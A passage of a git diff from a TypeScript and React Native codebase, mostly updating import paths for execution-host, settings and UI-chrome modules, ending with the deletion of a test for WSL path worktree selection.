4baa14e8cb0..665a93ecb3d 100644 --- a/mobile/src/source-control/folder/use-folder-create-flow.tsx +++ b/mobile/src/source-control/folder/use-folder-create-flow.tsx @@ -1,6 +1,6 @@ import { useCallback, useEffect, useRef, useState, useSyncExternalStore } from 'react' import type { Repo } from '../../../../src/shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { ConfirmModal } from '../../components/sheets/ConfirmModal' import { NewWorktreeModalController } from '../../new-workspace/creation/modal/NewWorktreeModalController' import type { MobileWorkspaceRepo } from '../../new-workspace/creation/forms/new-worktree-modal-types' diff --git a/mobile/src/source-control/folder/use-folder-worktree-status.ts b/mobile/src/source-control/folder/use-folder-worktree-status.ts index c5ad3de479a..eb7a1e27ec0 100644 --- a/mobile/src/source-control/folder/use-folder-worktree-status.ts +++ b/mobile/src/source-control/folder/use-folder-worktree-status.ts @@ -1,5 +1,5 @@ import { useEffect } from 'react' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { useHostQuery } from '../../query/host-query' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' import { scopeRpcClientToExecutionHost } from '../../worktree/execution-hosts/execution-host-scoped-rpc-client' diff --git a/mobile/src/source-control/review/agent-launch/mobile-source-control-launch-agent.ts b/mobile/src/source-control/review/agent-launch/mobile-source-control-launch-agent.ts index 4784741b6f7..64025ee655a 100644 --- a/mobile/src/source-control/review/agent-launch/mobile-source-control-launch-agent.ts +++ b/mobile/src/source-control/review/agent-launch/mobile-source-control-launch-agent.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../src/shared/global-settings-types' +import type { GlobalSettings } from '../../../../../src/shared/settings/global-settings-types' import type { Repo } from '../../../../../src/shared/repository/repo-types' import type { SourceControlActionRecipe, diff --git a/mobile/src/source-control/review/pull-request/mobile-pr-queries.ts b/mobile/src/source-control/review/pull-request/mobile-pr-queries.ts index db67db42f8a..a9a9085541f 100644 --- a/mobile/src/source-control/review/pull-request/mobile-pr-queries.ts +++ b/mobile/src/source-control/review/pull-request/mobile-pr-queries.ts @@ -16,7 +16,7 @@ import { resolveGitHubWorkItemTarget } from '../../../../../src/shared/github/work-items/work-item-target' import type { GitHubWorkItemDetails } from '../../../../../src/shared/github/work-items/work-item-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../src/shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../src/shared/execution-host/execution-host' import { worktreeIdsEqual } from '../../../../../src/shared/worktree/id' import { defineHostQuery, diff --git a/mobile/src/source-control/settings/mobile-source-control-settings-operations.ts b/mobile/src/source-control/settings/mobile-source-control-settings-operations.ts index 986d3f8bd27..c1118fef3ac 100644 --- a/mobile/src/source-control/settings/mobile-source-control-settings-operations.ts +++ b/mobile/src/source-control/settings/mobile-source-control-settings-operations.ts @@ -1,7 +1,7 @@ import { bindDeferredRpcOperation, defineRpcOperation } from '../../transport/rpc/rpc-operation' import type { RpcCompatibleReader } from '../../transport/rpc/rpc-operation-contract' import { normalizeSourceControlGroupOrder } from '../../../../src/shared/source-control/listing/source-control-group-order' -import type { SourceControlGroupOrder } from '../../../../src/shared/ui-chrome-types' +import type { SourceControlGroupOrder } from '../../../../src/shared/ui-chrome/ui-chrome-types' import { settingsMember, settingsField } from '../../settings/mobile-settings-projection' import { normalizePRAutoRefreshCadence, diff --git a/mobile/src/tasks/mobile-tasks-provider-detail-types.ts b/mobile/src/tasks/mobile-tasks-provider-detail-types.ts index d6eada7657c..9c78e881439 100644 --- a/mobile/src/tasks/mobile-tasks-provider-detail-types.ts +++ b/mobile/src/tasks/mobile-tasks-provider-detail-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import type { ProviderCheckSummary } from '../../../src/shared/github/pull-requests/pull-request-types' import type { GitHubRepositoryIdentity as GitHubOwnerRepo } from '../../../src/shared/github/repositories/repository-identity' import type { RpcClient } from '../transport/rpc/rpc-client-contract' diff --git a/mobile/src/tasks/repositories/mobile-tasks-repository-presentation.ts b/mobile/src/tasks/repositories/mobile-tasks-repository-presentation.ts index 49e878dd44c..8dfaf2176ad 100644 --- a/mobile/src/tasks/repositories/mobile-tasks-repository-presentation.ts +++ b/mobile/src/tasks/repositories/mobile-tasks-repository-presentation.ts @@ -1,5 +1,8 @@ import { resolveRepoBadgeColor } from '../../../../src/shared/repository/appearance/repo-badge-color' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../src/shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../src/shared/execution-host/execution-host' import { getHostContextLabel, type HostContextLabelSources diff --git a/mobile/src/tasks/repositories/task-repo-host-routing.ts b/mobile/src/tasks/repositories/task-repo-host-routing.ts index e9e78fe0826..d01ad44a413 100644 --- a/mobile/src/tasks/repositories/task-repo-host-routing.ts +++ b/mobile/src/tasks/repositories/task-repo-host-routing.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../src/shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../src/shared/execution-host/execution-host' import { routeRpcClientCalls, scopeRpcClientToExecutionHost diff --git a/mobile/src/tasks/repositories/use-task-host-repos.ts b/mobile/src/tasks/repositories/use-task-host-repos.ts index 0a83745743a..d097814156d 100644 --- a/mobile/src/tasks/repositories/use-task-host-repos.ts +++ b/mobile/src/tasks/repositories/use-task-host-repos.ts @@ -1,5 +1,5 @@ import { useCallback, useLayoutEffect, useMemo, useRef, useState } from 'react' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { HostContextLabelSources } from '../../../../src/shared/worktree/row-display/host-context-labels' import { useHostDescriptor } from '../../host-descriptors/host-descriptor-store' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' diff --git a/mobile/src/worktree/agent-lineage/mobile-workspace-lineage.ts b/mobile/src/worktree/agent-lineage/mobile-workspace-lineage.ts index 0ee552a237e..14ba499d516 100644 --- a/mobile/src/worktree/agent-lineage/mobile-workspace-lineage.ts +++ b/mobile/src/worktree/agent-lineage/mobile-workspace-lineage.ts @@ -8,7 +8,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { resolveLineageParentsByPolicy } from '../../../../src/shared/worktree/lineage/workspace-lineage-graph' import type { WorkspaceLineageEdge } from '../../../../src/shared/worktree/lineage-types' import type { MobileRelayHost } from '../../../../src/shared/remote-runtime/relay/mobile-relay-hosts-contract' diff --git a/mobile/src/worktree/execution-hosts/execution-host-scoped-rpc-client.ts b/mobile/src/worktree/execution-hosts/execution-host-scoped-rpc-client.ts index 1afa950df96..64f5f4f7318 100644 --- a/mobile/src/worktree/execution-hosts/execution-host-scoped-rpc-client.ts +++ b/mobile/src/worktree/execution-hosts/execution-host-scoped-rpc-client.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { MOBILE_DESKTOP_RELAY_RUNTIME_CAPABILITY } from '../../../../src/shared/remote-runtime/relay/mobile-desktop-relay-contract' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' import type { RpcEnvelopeFields } from '../../transport/rpc/rpc-envelope-fields' diff --git a/mobile/src/worktree/execution-hosts/host-worktree-rpc-types.ts b/mobile/src/worktree/execution-hosts/host-worktree-rpc-types.ts index a8bc9f07e22..c912ce08a2e 100644 --- a/mobile/src/worktree/execution-hosts/host-worktree-rpc-types.ts +++ b/mobile/src/worktree/execution-hosts/host-worktree-rpc-types.ts @@ -1,5 +1,5 @@ import type { RepoIcon } from '../../../../src/shared/repository/appearance/repo-icon' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' export type DesktopStatus = { appVersion?: string diff --git a/mobile/src/worktree/execution-hosts/server-workspace-operations.ts b/mobile/src/worktree/execution-hosts/server-workspace-operations.ts index ba1faa46a4a..757c870c449 100644 --- a/mobile/src/worktree/execution-hosts/server-workspace-operations.ts +++ b/mobile/src/worktree/execution-hosts/server-workspace-operations.ts @@ -1,6 +1,6 @@ import * as z from 'zod' import type { ExecutionHostHealth } from '../../../../src/shared/execution-host/execution-host-health' -import { parseExecutionHostId } from '../../../../src/shared/execution-host' +import { parseExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { MOBILE_RELAY_HOST_WORKTREES_METHOD, MOBILE_RELAY_HOSTS_LIST_METHOD, diff --git a/mobile/src/worktree/execution-hosts/server-workspaces.ts b/mobile/src/worktree/execution-hosts/server-workspaces.ts index b84cb42989c..b72fed7b65b 100644 --- a/mobile/src/worktree/execution-hosts/server-workspaces.ts +++ b/mobile/src/worktree/execution-hosts/server-workspaces.ts @@ -1,5 +1,5 @@ import * as z from 'zod' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { ExecutionHostHealth } from '../../../../src/shared/execution-host/execution-host-health' import type { MobileRelayHost } from '../../../../src/shared/remote-runtime/relay/mobile-relay-hosts-contract' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' diff --git a/mobile/src/worktree/execution-hosts/use-reachable-server-clients.ts b/mobile/src/worktree/execution-hosts/use-reachable-server-clients.ts index e590079e75e..05d3ca237d7 100644 --- a/mobile/src/worktree/execution-hosts/use-reachable-server-clients.ts +++ b/mobile/src/worktree/execution-hosts/use-reachable-server-clients.ts @@ -1,5 +1,5 @@ import { useMemo } from 'react' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { MobileRelayHost } from '../../../../src/shared/remote-runtime/relay/mobile-relay-hosts-contract' import { reachableServerClients, relaysToServers } from './execution-host-scoped-rpc-client' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' diff --git a/mobile/src/worktree/execution-hosts/workspace-server.ts b/mobile/src/worktree/execution-hosts/workspace-server.ts index bb3588fa69b..ebe89c52ca6 100644 --- a/mobile/src/worktree/execution-hosts/workspace-server.ts +++ b/mobile/src/worktree/execution-hosts/workspace-server.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { MobileRelayHost } from '../../../../src/shared/remote-runtime/relay/mobile-relay-hosts-contract' import { useRelayHosts } from './relay-hosts-feed' import { serverHostDesktopReach, type ServerHostDesktopReach } from './server-workspaces' diff --git a/mobile/src/worktree/execution-hosts/worktree-host-health.ts b/mobile/src/worktree/execution-hosts/worktree-host-health.ts index c831846872f..58b5f1cd12e 100644 --- a/mobile/src/worktree/execution-hosts/worktree-host-health.ts +++ b/mobile/src/worktree/execution-hosts/worktree-host-health.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { getExecutionHostHealthLabel, getSshConnectionHealth, diff --git a/mobile/src/worktree/navigation/last-visited-worktree-by-host.ts b/mobile/src/worktree/navigation/last-visited-worktree-by-host.ts index 7666521fbb9..87c316748b1 100644 --- a/mobile/src/worktree/navigation/last-visited-worktree-by-host.ts +++ b/mobile/src/worktree/navigation/last-visited-worktree-by-host.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { PAGE_STORAGE_MAX_VALUE_CHARS } from '../../mobile-web-shell/page-storage/page-storage-keys' import { persistMirrored, readMirroredKeyOrStore } from '../../storage/mirrored-storage-keys' import { diff --git a/mobile/src/worktree/project-sections/project-section-catalog.ts b/mobile/src/worktree/project-sections/project-section-catalog.ts index bd1e0105052..090af21dc05 100644 --- a/mobile/src/worktree/project-sections/project-section-catalog.ts +++ b/mobile/src/worktree/project-sections/project-section-catalog.ts @@ -2,11 +2,11 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import type { ProjectGroup } from '../../../../src/shared/project/groups/project-group-types' import { filterProjectGroupsForVisibleHosts } from '../../../../src/shared/sidebar-list/hosts/host-filtering' import { getLogicalRepoOrderRankById } from '../../../../src/shared/sidebar-list/sections/project-section-order' -import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { ServedProjectSections } from '../../../../src/shared/sidebar-list/catalog/project-section-catalog-schema' import { NO_PROJECT_SECTION_CATALOG, diff --git a/mobile/src/worktree/repositories/new-workspace-dialog-repo-selection.ts b/mobile/src/worktree/repositories/new-workspace-dialog-repo-selection.ts index 543fdf62be3..67fd6d3455d 100644 --- a/mobile/src/worktree/repositories/new-workspace-dialog-repo-selection.ts +++ b/mobile/src/worktree/repositories/new-workspace-dialog-repo-selection.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../src/shared/execution-host/execution-host' type MobileNewWorkspaceDialogRepo = { id: string diff --git a/mobile/src/worktree/repositories/server-repos.ts b/mobile/src/worktree/repositories/server-repos.ts index b54302cd9ca..236053f3b79 100644 --- a/mobile/src/worktree/repositories/server-repos.ts +++ b/mobile/src/worktree/repositories/server-repos.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { nativeChatRepoListRead } from '../../session/agent-launch/mobile-runtime-repo-operations' import type { Repo as SharedRepo } from '../../../../src/shared/repository/repo-types' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' diff --git a/mobile/src/worktree/repositories/use-server-repos.ts b/mobile/src/worktree/repositories/use-server-repos.ts index 141f48c4f65..396a2409803 100644 --- a/mobile/src/worktree/repositories/use-server-repos.ts +++ b/mobile/src/worktree/repositories/use-server-repos.ts @@ -1,5 +1,5 @@ import { useEffect, useState } from 'react' -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { RpcClient } from '../../transport/rpc/rpc-client-contract' import { listServerRepos, type ListedRepo } from './server-repos' diff --git a/mobile/src/worktree/repositories/workspace-filter-repos.ts b/mobile/src/worktree/repositories/workspace-filter-repos.ts index 2eee64d31e0..a796ac8543d 100644 --- a/mobile/src/worktree/repositories/workspace-filter-repos.ts +++ b/mobile/src/worktree/repositories/workspace-filter-repos.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../src/shared/execution-host' +import { getRepoExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { resolveRepoBadgeColor } from '../../../../src/shared/repository/appearance/repo-badge-color' import { buildSectionRepoMap } from '../workspace-list/workspace-list-sections' import type { SectionRepo, Worktree } from '../workspace-list/workspace-list-types' diff --git a/mobile/src/worktree/row-presentation/WorktreeListRow.tsx b/mobile/src/worktree/row-presentation/WorktreeListRow.tsx index 4595e788b73..15f6350521e 100644 --- a/mobile/src/worktree/row-presentation/WorktreeListRow.tsx +++ b/mobile/src/worktree/row-presentation/WorktreeListRow.tsx @@ -9,8 +9,8 @@ import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme' import { useMobileTranslation } from '../../i18n/use-mobile-translation' import type * as WorkspaceRows from '../workspace-list/workspace-list-types' import type { WorktreeCardDetails } from '../../../../src/shared/worktree/row-display/card-properties' -import { isRemoteExecutionHostId } from '../../../../src/shared/execution-host' -import type { AgentActivityDisplayMode } from '../../../../src/shared/ui-chrome-types' +import { isRemoteExecutionHostId } from '../../../../src/shared/execution-host/execution-host' +import type { AgentActivityDisplayMode } from '../../../../src/shared/ui-chrome/ui-chrome-types' import type { WorktreeStatus } from '../../../../src/shared/worktree/row-display/worktree-status-rollup' import { areStructurallyEqual } from '../catalog/structural-equality' import { projectGroupRowIndent } from '../project-sections/project-group-indent' diff --git a/mobile/src/worktree/row-presentation/host-list-highlight.ts b/mobile/src/worktree/row-presentation/host-list-highlight.ts index 82a89c437ed..2a8e1d2247c 100644 --- a/mobile/src/worktree/row-presentation/host-list-highlight.ts +++ b/mobile/src/worktree/row-presentation/host-list-highlight.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../src/shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../src/shared/execution-host/execution-host' import type { Worktree } from '../workspace-list/workspace-list-types' // Kept free of storage and React Native: the e2e phone-list helper builds sections through this. diff --git a/mobile/src/worktree/row-presentation/worktree-host-context-labels.ts b/mobile/src/worktree/row-presentation/worktree-host-context-labels.ts index 24b6bcd6508..0ba8435cce0 100644 --- a/mobile/src/worktree/row-presentation/worktree-host-context-labels.ts +++ b/mobile/src/worktree/row-presentation/worktree-host-context-labels.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { getHostContextLabel, getMixedHostContextLabels as getSharedMixedHostContextLabels diff --git a/mobile/src/worktree/use-workspace-sections.ts b/mobile/src/worktree/use-workspace-sections.ts index 753279bc6d4..0a7e1915dba 100644 --- a/mobile/src/worktree/use-workspace-sections.ts +++ b/mobile/src/worktree/use-workspace-sections.ts @@ -1,7 +1,7 @@ import { useMemo } from 'react' import { useMobileTranslation } from '../i18n/use-mobile-translation' import type { WorkspaceStatusDefinition } from '../../../src/shared/worktree/types' -import type { ExecutionHostId } from '../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../src/shared/execution-host/execution-host' import type { WorkspaceGroupBy, WorkspaceSortBy diff --git a/mobile/src/worktree/workspace-list/workspace-list-sections.ts b/mobile/src/worktree/workspace-list/workspace-list-sections.ts index 569c18c606f..dc602299281 100644 --- a/mobile/src/worktree/workspace-list/workspace-list-sections.ts +++ b/mobile/src/worktree/workspace-list/workspace-list-sections.ts @@ -32,14 +32,14 @@ import type { WorktreeHostContextOf } from '../row-presentation/worktree-host-co import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../src/shared/execution-host' +} from '../../../../src/shared/execution-host/execution-host' import { buildProjectGroupingIndex, buildProjectSections, getProjectGroupingForRepo, type ProjectSectionModel } from '../../../../src/shared/sidebar-list/sections/project-section-grouping' -import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../src/shared/ui-chrome/ui-chrome-types' import { translate } from '../../i18n/mobile-i18n' import { indexHiddenProjects, diff --git a/mobile/src/worktree/workspace-list/workspace-list-types.ts b/mobile/src/worktree/workspace-list/workspace-list-types.ts index 7e038c24e89..3475c57f54e 100644 --- a/mobile/src/worktree/workspace-list/workspace-list-types.ts +++ b/mobile/src/worktree/workspace-list/workspace-list-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import type { RuntimeWorktreePsSummary } from '../../../../src/shared/worktree/catalog/runtime-worktree-contracts' import type { ProjectSectionRepo } from '../../../../src/shared/sidebar-list/sections/project-section-grouping' import type { WorkspaceRowFilters } from '../../../../src/shared/workspace-view/workspace-row-filters' diff --git a/mobile/src/worktree/workspace-list/workspace-row-filtering.ts b/mobile/src/worktree/workspace-list/workspace-row-filtering.ts index bed4b768230..96fb21e561d 100644 --- a/mobile/src/worktree/workspace-list/workspace-row-filtering.ts +++ b/mobile/src/worktree/workspace-list/workspace-row-filtering.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../src/shared/execution-host' +import type { ExecutionHostId } from '../../../../src/shared/execution-host/execution-host' import { NO_HIDDEN_PROJECTS, type HiddenProjects diff --git a/mobile/src/worktree/workspace-list/workspace-view-settings.ts b/mobile/src/worktree/workspace-list/workspace-view-settings.ts index 2750f4b1785..2e31aa79701 100644 --- a/mobile/src/worktree/workspace-list/workspace-view-settings.ts +++ b/mobile/src/worktree/workspace-list/workspace-view-settings.ts @@ -9,14 +9,14 @@ import { WORKSPACE_ROW_FILTER_UI_FIELDS } from '../../../../src/shared/workspace-view/workspace-row-filters' import { resolveVisibleWorkspaceHostIds } from '../../../../src/shared/workspace-view/workspace-host-visibility' -import type { PersistedUIState } from '../../../../src/shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../src/shared/orca-profiles/persisted-ui-state-types' import type { WORKSPACE_VIEW_UI_FIELDS } from '../../../../src/shared/workspace-view/workspace-view-ui-fields' import type { FilterState } from './workspace-list-types' import type { AgentActivityDisplayMode, ProjectOrderBy, WorktreeCardProperty -} from '../../../../src/shared/ui-chrome-types' +} from '../../../../src/shared/ui-chrome/ui-chrome-types' import { DEFAULT_WORKTREE_CARD_PROPERTIES } from '../../../../src/shared/worktree/row-display/card-properties' import { WORKSPACE_GROUP_BY_CHOICES, diff --git a/src/cli/agents/agent-hooks.ts b/src/cli/agents/agent-hooks.ts index ba084b1c2b1..8c567655fcb 100644 --- a/src/cli/agents/agent-hooks.ts +++ b/src/cli/agents/agent-hooks.ts @@ -9,7 +9,7 @@ import { getDefaultUserDataPath } from '../runtime/profile/metadata' import { ensureCliAppEnvironment } from '../runtime/profile/cli-app-environment' import type { AgentHookInstallStatus } from '../../shared/agent-hook-listener/configuration/agent-hook-types' import { DEFAULT_LOCAL_ORCA_PROFILE_ID } from '../../shared/orca-profiles/orca-profiles' -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import type { ProfileStateOfflineLocation } from '../../main/persistence/profile-state/offline-access/profile-state-offline-settings' type AgentHookCommandResult = { diff --git a/src/cli/automations/automation-destination.ts b/src/cli/automations/automation-destination.ts index 5f82d411fdf..64330d9545d 100644 --- a/src/cli/automations/automation-destination.ts +++ b/src/cli/automations/automation-destination.ts @@ -8,7 +8,7 @@ import type { AutomationDestination } from '../../shared/automations/ownership/a import type { RuntimeWorktreeRecord } from '../../shared/worktree/catalog/runtime-worktree-contracts' import type { SshTargetSummary } from '../../shared/remote-runtime/ssh/ssh-types' import type { Repo } from '../../shared/repository/repo-types' -import { getRepoRoutingConnectionId } from '../../shared/execution-host' +import { getRepoRoutingConnectionId } from '../../shared/execution-host/execution-host' import { getManagedOrcadSshTargetId } from '../../shared/execution-host/managed-orcad-execution-host' import { listEnvironments } from '../../shared/remote-runtime/host-store/runtime-environment-store' import { RuntimeClient } from '../runtime/client' diff --git a/src/cli/hosts/execution-host-flag.ts b/src/cli/hosts/execution-host-flag.ts index c6def134cb5..3c00d961e2d 100644 --- a/src/cli/hosts/execution-host-flag.ts +++ b/src/cli/hosts/execution-host-flag.ts @@ -4,7 +4,7 @@ import { parseExecutionHostId, toSshExecutionHostId, type ParsedExecutionHost -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { ambiguousEnvironments, ambiguousSshTargets, diff --git a/src/cli/hosts/omitted-host-scope-selectors.ts b/src/cli/hosts/omitted-host-scope-selectors.ts index ec5c75e8bb9..d27a07c1104 100644 --- a/src/cli/hosts/omitted-host-scope-selectors.ts +++ b/src/cli/hosts/omitted-host-scope-selectors.ts @@ -2,7 +2,7 @@ import { parseExecutionHostId, type ExecutionHostId, type ParsedExecutionHost -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import type { RuntimeListingHostScope } from '../../shared/execution-host/runtime-listing-host-scope' import { findEnvironmentByName } from './host-selector-alternatives' diff --git a/src/cli/projects/project-selector.ts b/src/cli/projects/project-selector.ts index 1477670a229..7ea80c10941 100644 --- a/src/cli/projects/project-selector.ts +++ b/src/cli/projects/project-selector.ts @@ -1,4 +1,4 @@ -import { normalizeExecutionHostId } from '../../shared/execution-host' +import { normalizeExecutionHostId } from '../../shared/execution-host/execution-host' import type { Project, ProjectHostSetup } from '../../shared/project/project-types' import { normalizeTypedName } from '../../shared/text/typed-name-normalization' import type { RuntimeClient } from '../runtime/client' diff --git a/src/cli/projects/project.ts b/src/cli/projects/project.ts index 2a94ecea282..894e95c9875 100644 --- a/src/cli/projects/project.ts +++ b/src/cli/projects/project.ts @@ -10,7 +10,10 @@ import type { ProjectHostSetupUpdateArgs, ProjectHostSetupUpdateResult } from '../../shared/project/project-types' -import { getSshTargetIdForExecutionHost, type ExecutionHostId } from '../../shared/execution-host' +import { + getSshTargetIdForExecutionHost, + type ExecutionHostId +} from '../../shared/execution-host/execution-host' import type { RuntimeStatus } from '../../shared/remote-runtime/session-graph/runtime-session-contracts' import { PROJECT_HOST_SETUP_HOST_TARGET_RUNTIME_CAPABILITY } from '../../shared/remote-runtime/protocol/worktree-runtime-capabilities' import type { CommandHandler, HandlerContext } from '../dispatch/dispatch' diff --git a/src/cli/runtime/fixtures/runtime-rpc-fixtures.ts b/src/cli/runtime/fixtures/runtime-rpc-fixtures.ts index f147a967841..60b70099957 100644 --- a/src/cli/runtime/fixtures/runtime-rpc-fixtures.ts +++ b/src/cli/runtime/fixtures/runtime-rpc-fixtures.ts @@ -1,5 +1,5 @@ import type { Mock } from 'vitest' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { RuntimeRpcFailureError } from '../connection/types' type OkFixture = { diff --git a/src/cli/terminals/paired-terminal-desktop-reveal.ts b/src/cli/terminals/paired-terminal-desktop-reveal.ts index ae1fe314cba..18952ab8029 100644 --- a/src/cli/terminals/paired-terminal-desktop-reveal.ts +++ b/src/cli/terminals/paired-terminal-desktop-reveal.ts @@ -1,4 +1,4 @@ -import { toRuntimeExecutionHostId } from '../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../shared/execution-host/execution-host' import type { RuntimeTerminalShow } from '../../shared/terminal/runtime/runtime-terminal-contracts' import type { RuntimeTerminalReveal } from '../../shared/workspace-layout/terminal-surfaces/terminal-pane-reveal' import { RuntimeClient } from '../runtime/client' diff --git a/src/cli/workspace-selection/caller-cwd-containment.ts b/src/cli/workspace-selection/caller-cwd-containment.ts index 53b7fb1b401..9514b61445c 100644 --- a/src/cli/workspace-selection/caller-cwd-containment.ts +++ b/src/cli/workspace-selection/caller-cwd-containment.ts @@ -3,7 +3,10 @@ import { isPathInsideOrEqual, normalizeRuntimePathForComparison } from '../../shared/file-access/cross-platform-path' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../shared/execution-host/execution-host' import { resolveRealPathSync } from '../../shared/file-access/real-path-sync' // One CLI process is one command, so the folder prefilter and ranking share each resolution. diff --git a/src/cli/workspace-selection/caller-host-worktree-selection.ts b/src/cli/workspace-selection/caller-host-worktree-selection.ts index c26ce3bff3f..1006d8a6698 100644 --- a/src/cli/workspace-selection/caller-host-worktree-selection.ts +++ b/src/cli/workspace-selection/caller-host-worktree-selection.ts @@ -8,7 +8,7 @@ import { parseExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import { readOrchestrationCompatibilityEvidence } from '../../shared/orchestration/orchestration-compatibility-evidence' import type { RuntimeWorktreeListResult } from '../../shared/worktree/catalog/runtime-worktree-contracts' import type { RuntimeClient } from '../runtime/client' diff --git a/src/cli/workspaces/index-worktree-wsl-selection.test.ts b/src/cli/workspaces/index-worktree-wsl-selection.test.ts deleted file mode 100644 index e625195d85d..00000000000 --- a/src/cli/workspaces/index-worktree-wsl-selection.test.ts +++ /dev/null @@ -1,47 +0,0 @@ -import { win32 } from 'node:path' -import type * as NodePath from 'node:path' -import { describe, expect, it, vi } from 'vitest' - -// Exercise production UNC resolution on every CI host; keep matching and elections real. -vi.mock('node:path', async (importOriginal) => { - const actual = await importOriginal() - return { ...actual, resolve: actual.win32.resolve } -}) - -import { - selectEnclosingRepoOnHost, - selectEnclosingWorktreeSelectionOnHost -} from '../workspace-selection/caller-host-worktree-selection' -import { buildWorktree } from '../runtime/fixtures/runtime-rpc-fixtures' -import { toSshExecutionHostId } from '../../shared/execution-host' - -const UPPER = String.raw`\\wsl.localhost\Ubuntu\home\Alice\App` -const LOWER = String.raw`\\wsl$\Ubuntu\home\alice\app` -const upper = buildWorktree(UPPER, 'main', 'abc', 'repo-a') -const lower = buildWorktree(LOWER, 'main', 'abc', 'repo-b') - -describe('WSL enclosing selection with Windows path resolution on every platform', () => { - it('excludes case-distinct directories before caller preference in either order', () => { - for (const rows of [ - [upper, lower], - [lower, upper] - ]) { - for (const owner of [upper, lower]) { - for (const caller of [undefined, upper.id, lower.id]) { - const cwd = win32.join(owner.path, 'src') - expect(selectEnclosingWorktreeSelectionOnHost(rows, cwd, 'local', caller)).toEqual({ - selector: `id:${owner.id}`, - worktreeId: owner.id - }) - expect(selectEnclosingRepoOnHost(rows, cwd, 'local', caller)).toBe(owner.repoId) - } - } - } - const wrongDistro = { ...upper, path: UPPER.replace('Ubuntu', 'Debian') } - const wrongHost = { ...upper, hostId: toSshExecutionHostId('other') } - expect( - selectEnclosingWorktreeSelectionOnHost([wrongDistro, wrongHost], UPPER, 'local') - ).toBeUndefined() - expect(selectEnclosingRepoOnHost([wrongDistro, wrongHost], UPPER, 'local')).toBeUndefined() 